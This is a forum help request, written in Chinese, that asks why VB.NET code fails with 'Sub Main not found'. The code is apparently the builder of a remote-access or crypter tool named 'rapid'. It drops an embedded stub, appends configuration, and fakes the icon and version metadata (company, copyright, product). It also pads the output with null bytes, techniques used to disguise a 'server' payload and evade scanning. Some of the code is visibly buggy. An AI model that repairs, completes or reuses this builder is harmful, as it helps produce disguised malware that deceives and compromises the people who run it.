请我有这个问题与vb,我已经尝试了一切来修复它,但仍然无法修复它。这里是:
Const Filesplit = "@rapid@"
Dim temp As String = IO.Path.GetTempPath() & "\Stub.exe"
File.WriteAllBytes(temp, My.Resources.Stub)
If TextBox8.Text.Length > 2 Then
If File.Exists(temp) = True Then
Dim icon As New IconFile(TextBox9.Text)
Dim groupIconResource As GroupIconResource = icon.ConvertToGroupIconResource()
groupIconResource.SaveTo(temp)
End If
End If
FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists(TextBox8.Text) Then
My.Computer.FileSystem.DeleteFile(TextBox8.Text)
End If
FileOpen(1, Application.StartupPath & "\" & TextBox8.Text & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
Dim all As String = ""
For i = 0 To settings.Length - 1
all = all & Filesplit & settings(i)
Next
FilePut(1, stub & all)
FileClose(1)
File.Delete(temp)
If Form2.CheckBox41.Checked = True Then
ChngaeAssembly()
End If
If ComboBox1.Text = "KB" Then
Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append))
Dim number As Integer = Val(TextBox6.Text)
For i = 0 To number
w.Write(New Byte(1024) {})
w.Flush()
Next
End Using
MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid V 1.0")
Else
Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append))
Dim number As Integer = Val(TextBox6.Text * 1000)
For i = 0 To number
w.Write(New Byte(1024) {})
w.Flush()
Next
End Using
MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid")
End If
MsgBox("Problem Occured. The Server was not Built.", MessageBoxIcon.Error, "rapid")
End Sub
Private Sub ChngaeAssembly()
Try
If File.Exists(Application.StartupPath & "\res.exe") Then
File.Delete(Application.StartupPath & "\res.exe")
End If
If File.Exists(Application.StartupPath & "\assemblychange.res") Then
File.Delete(Application.StartupPath & "\assemblychange.res")
End If
System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res)
Dim source As String = My.Resources.String1
If File.Exists(Application.StartupPath & "\assemblychange.exe") Then
File.Delete(Application.StartupPath & "\assemblychange.exe")
End If
Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0")
Dim Compiler As VBCodeProvider = New VBCodeProvider(Version)
Dim CompResults As CompilerResults
Dim ComParameters As New CompilerParameters()
With ComParameters
.GenerateExecutable = True
.OutputAssembly = Application.StartupPath & "\assemblychange.exe"
.CompilerOptions = "/target:winexe"
.ReferencedAssemblies.Add("System.dll")
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
.MainClass = "X"
End With
source = source.Replace("*Title*", Form2.TextBox3.Text)
source = source.Replace("*Description*", Form2.TextBox4.Text)
source = source.Replace("*Company*", Form2.TextBox5.Text)
source = source.Replace("*Product*", Form2.TextBox6.Text)
source = source.Replace("*Copyright*", Form2.TextBox7.Text)
source = source.Replace("*Trademark*", Form2.TextBox8.Text)
source = source.Replace("*version*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown2.Value, Form2.NumericUpDown3.Value, Form2.NumericUpDown4.Value, Form2.NumericUpDown5.Value))
source = source.Replace("*fversion*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown6.Value, Form2.NumericUpDown7.Value, Form2.NumericUpDown8.Value, Form2.NumericUpDown9.Value))
CompResults = Compiler.CompileAssemblyFromSource(ComParameters, source)
If CompResults.Errors.Count > 0 Then
For Each CompilerError In CompResults.Errors
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
Next
If File.Exists(Application.StartupPath & "\res.exe") = True Then
File.Delete(Application.StartupPath & "\res.exe")
End If
If File.Exists(Application.StartupPath & "\res.log") = True Then
File.Delete(Application.StartupPath & "\res.log")
End If
If File.Exists(Application.StartupPath & "\res.ini") = True Then
File.Delete(Application.StartupPath & "\res.ini")
End If
If File.Exists(Application.StartupPath & "\assemblychange.exe") Then
File.Delete(Application.StartupPath & "\assemblychange.exe")
End If
If File.Exists(Application.StartupPath & "\assemblychange.res") Then
File.Delete(Application.StartupPath & "\assemblychange.res")
End If
MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If
Dim otherfile As String = Application.StartupPath & "\assemblychange.exe"
Dim resfile As String = Application.StartupPath & "\assemblychange.res"
Dim mainfile As String = Application.StartupPath & "\" & TextBox8.Text & ".exe"
Shell(String.Format("{0}res.exe -extract {1},{2},VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), otherfile, resfile))
Shell(String.Format("{0}res.exe -delete {1},{0}res.exe,VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile))
Shell(String.Format("{0}res.exe -addoverwrite {1},{1},{2},VERSIONINFO,1,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile, resfile))
If File.Exists(Application.StartupPath & "\assemblychange.exe") Then
File.Delete(Application.StartupPath & "\assemblychange.exe")
End If
If File.Exists(Application.StartupPath & "\assemblychange.res") Then
File.Delete(Application.StartupPath & "\assemblychange.res")
End If
If File.Exists(Application.StartupPath & "\res.exe") = True Then
File.Delete(Application.StartupPath & "\res.exe")
End If
If File.Exists(Application.StartupPath & "\res.log") = True Then
File.Delete(Application.StartupPath & "\res.log")
End If
If File.Exists(Application.StartupPath & "\res.ini") = True Then
File.Delete(Application.StartupPath & "\res.ini")
End If
Catch
End Try
End Sub
当我调试时,当我尝试更改程序集时,在“X”中找不到 Sub Main,请问我该如何解决?提前致谢